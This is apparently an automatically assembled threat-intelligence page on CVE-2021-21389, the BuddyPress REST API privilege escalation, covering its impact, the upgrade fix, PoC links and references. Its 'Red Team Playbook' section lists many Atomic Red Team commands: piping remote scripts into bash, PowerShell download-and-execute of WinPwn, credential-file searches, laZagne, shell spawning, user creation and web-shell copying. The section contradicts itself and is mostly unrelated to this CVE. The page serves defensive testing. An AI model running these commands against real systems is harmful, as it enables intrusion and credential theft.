CVE-2021-21389
Overview
This vulnerability is an authorization bypass in the BuddyPress REST API members endpoint. The root cause is improper access control checks allowing privilege escalation. Specifically, the REST API fails to correctly verify user permissions when processing requests to the members endpoint, enabling unauthorized privilege elevation within the BuddyPress plugin for WordPress.
Vulnerability Description
BuddyPress is an open source WordPress plugin to build a community site. In releases of BuddyPress from 5.0.0 before 7.2.1 it's possible for a non-privileged, regular user to obtain administrator rights by exploiting an issue in the REST API members endpoint. The vulnerability has been fixed in BuddyPress 7.2.1. Existing installations of the plugin should be updated to this version to mitigate the issue.
Impact
An authenticated regular user can exploit this vulnerability to gain administrator privileges within the affected BuddyPress installation. This enables unauthorized administrative actions such as modifying site configurations, managing users, and potentially compromising the entire WordPress community site. The attack requires valid user credentials but no additional user interaction or elevated privileges. According to the CVSS vector (AV:N/AC:L/PR:L/UI:N), the attack is network exploitable with low complexity and no user interaction.
Solution
Upgrade BuddyPress to version 7.2.1 or later, as this release contains the patch that corrects the access control checks in the REST API members endpoint. Detailed patch instructions and advisory information are available in the official BuddyPress security advisory (https://github.com/buddypress/BuddyPress/security/advisories/GHSA-m6j4-8r7p-wpp3) and the vendor’s release announcement (https://buddypress.org/2021/03/buddypress-7-2-1-security-release/). No additional workarounds are specified.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the BuddyPress plugin arises from an improper handling of permissions in the REST API members endpoint, which allows unauthorized users to escalate their privileges to that of an administrator. This flaw exists in versions from 5.0.0 up to, but not including, 7.2.1. The issue is rooted in the way the plugin validates user capabilities when processing requests to the members endpoint. Specifically, the lack of stringent checks allows a non-privileged user to manipulate the API requests, thereby gaining access to sensitive administrative functions that should be restricted to users with higher privileges.
Exploitation of this vulnerability can occur through various attack vectors. A common scenario involves an attacker registering as a regular user on a community site powered by BuddyPress. By crafting specific API requests, the attacker can bypass the intended access controls and elevate their privileges. This could be done using tools such as cURL or Postman to send malicious requests to the REST API. Once the attacker gains administrative rights, they could perform a range of malicious activities, including altering site content, accessing sensitive user data, or even installing additional malicious plugins. The simplicity of the attack, combined with the widespread use of the plugin, makes it particularly concerning.
The real-world impact of this vulnerability is significant, especially for organizations relying on BuddyPress for community engagement. Gaining administrative access can lead to data breaches, loss of user trust, and potential legal ramifications if sensitive information is exposed. For businesses, the risk extends beyond immediate financial loss; it can damage brand reputation and lead to a decline in user engagement. Furthermore, the ease of exploitation means that even less sophisticated attackers could potentially compromise a site, amplifying the threat landscape for organizations that fail to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize updating the BuddyPress plugin to version 7.2.1 or later, where the issue has been resolved. Regularly monitoring plugin updates and applying patches is crucial in maintaining a secure WordPress environment. Additionally, implementing robust security measures such as Web Application Firewalls (WAFs) can help filter out malicious API requests before they reach the server. Organizations should also conduct regular security audits and penetration testing to identify and remediate vulnerabilities proactively. User education on recognizing suspicious activity and the importance of strong password practices can further enhance security posture.
In conclusion, the vulnerability in the BuddyPress plugin exemplifies the critical need for vigilance in managing web application security. The potential for privilege escalation poses a serious threat to community-driven sites, making it imperative for administrators to stay informed about vulnerabilities and apply necessary updates. By adopting a comprehensive approach to security that includes timely updates, proactive monitoring, and user education, organizations can significantly reduce their risk exposure and protect their digital assets from exploitation.
CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting the BuddyPress privilege escalation vulnerability, indicating persistent adversary interest despite the availability of patches. While the overall exploit pressure remains steady, the emergence of additional proof-of-concept exploits on public repositories suggests growing accessibility for less sophisticated threat actors. This subtle uptick in activity underscores the ongoing risk to community sites relying on vulnerable BuddyPress versions, as attackers continue to probe for unpatched installations. The EPSS score remains high and stable, reinforcing the vulnerability’s attractiveness for exploitation. Consequently, defenders should maintain heightened vigilance, as the threat level remains elevated due to sustained exploitation attempts and expanding exploit availability.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Buddypress | Buddypress | All |
cpe:2.3:a:buddypress:buddypress:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
HoangKien1020/CVE-2021-21389
BuddyPress is an open source WordPress plugin to build a community site. In releases of BuddyPress from 5.0.0 before 7.2...
|
HoangKien1020 | 19 | 5 | 2021-05-31 | View |
|
mynameSumin/CVE-2021-21389
경희대 졸업프로젝트
|
mynameSumin | 0 | 0 | 2024-12-09 | View |
Threat Feed
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Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-21389 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/buddypress/BuddyPress/security/advisories/GHSA-m6j4-8r7p-wpp3 |
| buddypress.org |
GitHub CVE
x_refsource_MISC
|
https://buddypress.org/2021/03/buddypress-7-2-1-security-release/ |
| codex.buddypress.org |
GitHub CVE
x_refsource_MISC
|
https://codex.buddypress.org/releases/version-7-2-1/ |